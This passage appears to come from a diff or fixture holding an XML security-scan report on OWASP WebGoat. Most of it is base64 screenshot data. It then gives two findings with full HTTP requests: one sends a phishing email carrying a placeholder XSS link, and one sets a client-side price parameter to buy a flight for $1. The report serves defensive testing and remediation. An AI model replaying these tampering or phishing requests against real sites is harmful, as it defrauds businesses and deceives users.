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</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
